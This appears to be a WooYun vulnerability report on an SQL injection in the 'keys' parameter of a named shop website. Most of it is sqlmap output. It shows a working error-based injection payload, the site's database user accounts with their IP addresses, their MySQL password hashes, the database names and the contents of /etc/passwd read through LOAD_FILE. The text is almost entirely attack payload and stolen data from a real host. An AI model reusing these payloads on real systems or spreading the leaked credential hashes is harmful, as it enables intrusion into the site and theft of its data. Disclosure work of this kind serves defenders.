WooYun.org

http://www.wenji99.com/?m=shop&keys=%27
select grade,a.company,a.main_pro,a.userid,a.user,a.tel,a.area,a.logo,a.addr,b.sellerpoints,b.name from mb_shop a left join mb_member b on a.userid=b.userid WHERE a.shop_statu=1 and (a.company regexp ''') order by rank,userid descYou have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''') order by rank,userid desc' at line 1

sqlmap identified the following injection points with a total of 195 HTTP(s) requests:
---
Place: GET
Parameter: keys
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: m=shop&keys=') AND (SELECT 2510 FROM(SELECT COUNT(*),CONCAT(0x3a6a726c3a,(SELECT (CASE WHEN (2510=2510) THEN 1 ELSE 0 END)),0x3a6e6a793a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('UCKw'='UCKw
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: keys
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: m=shop&keys=') AND (SELECT 2510 FROM(SELECT COUNT(*),CONCAT(0x3a6a726c3a,(SELECT (CASE WHEN (2510=2510) THEN 1 ELSE 0 END)),0x3a6e6a793a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('UCKw'='UCKw
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
database management system users [189]:
[*] 'alback'@'124.248.32.32'
[*] 'gb001'@'61.130.101.86'
[*] 'gbback'@'115.238.168.170'
[*] 'gbzs'@'115.238.168.165'
[*] 'root'@'127.0.0.1'
[*] 'root'@'localhost'
[*] 'zsback'@'115.238.168.165'
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: keys
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: m=shop&keys=') AND (SELECT 2510 FROM(SELECT COUNT(*),CONCAT(0x3a6a726c3a,(SELECT (CASE WHEN (2510=2510) THEN 1 ELSE 0 END)),0x3a6e6a793a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('UCKw'='UCKw
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
database management system users password hashes:
[*] alback [1]:
    password hash: *CAB11C92F3789BC7BB4E52D51E1B4DD0C19AEB0D
[*] gb001 [1]:
    password hash: *CAB11C92F3789BC7BB4E52D51E1B4DD0C19AEB0D
[*] gbback [1]:
    password hash: *D489DD5221DC022A5821388F41E42C0970D967A2
[*] gbzs [1]:
    password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
[*] root [1]:
    password hash: *CAB11C92F3789BC7BB4E52D51E1B4DD0C19AEB0D
[*] zsback [1]:
    password hash: *81F5E21E35407D884A6CD4A731AEBFB6AF209E1B
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: keys
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: m=shop&keys=') AND (SELECT 2510 FROM(SELECT COUNT(*),CONCAT(0x3a6a726c3a,(SELECT (CASE WHEN (2510=2510) THEN 1 ELSE 0 END)),0x3a6e6a793a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('UCKw'='UCKw
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
available databases [3]:
[*] information_schema
[*] mysql
[*] wenji
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: keys
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: m=shop&keys=') AND (SELECT 2510 FROM(SELECT COUNT(*),CONCAT(0x3a6a726c3a,(SELECT (CASE WHEN (2510=2510) THEN 1 ELSE 0 END)),0x3a6e6a793a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('UCKw'='UCKw
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: GET
Parameter: keys
    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE or HAVING clause
    Payload: m=shop&keys=') AND (SELECT 2510 FROM(SELECT COUNT(*),CONCAT(0x3a6a726c3a,(SELECT (CASE WHEN (2510=2510) THEN 1 ELSE 0 END)),0x3a6e6a793a,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND ('UCKw'='UCKw
    Vector: AND (SELECT [RANDNUM] FROM(SELECT COUNT(*),CONCAT('[DELIMITER_START]',([QUERY]),'[DELIMITER_STOP]',FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)
---
ls [1]:
@@version:    '5.1.73-log'
database():    'wenji'
SELECT LOAD_FILE('/etc/passwd');:    'root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nsync:x:5:0:sync:/sbin:/bin/sync\nshutdown:x:6:0:shutdown:/sbin:/sbin/shutdown\nhalt:x:7:0:halt:/sbin:/sbin/halt\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\ngames:x:12:100:games:/usr/games:/sbin/nologin\ngopher:x:13:30:gopher:/var/gopher:/sbin/nologin\nftp:x:14:50:FTP User:/var/ftp:/sbin/nologin\nnobody:x:99:99:Nobody:/:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\nvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin\nrpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin\nabrt:x:173:173::/etc/abrt:/sbin/nologin\nsaslauth:x:499:76:"Saslauthd user":/var/empty/saslauth:/sbin/nologin\npostfix:x:89:89::/var/spool/postfix:/sbin/nologin\nrpcuser:x:29:29:RPC Service User:/var/lib/nfs:/sbin/nologin\nnfsnobody:x:65534:65534:Anonymous NFS User:/var/lib/nfs:/sbin/nologin\nhaldaemon:x:68:68:HAL daemon:/:/sbin/nologin\nntp:x:38:38::/etc/ntp:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\noprofile:x:16:16:Special user account to be us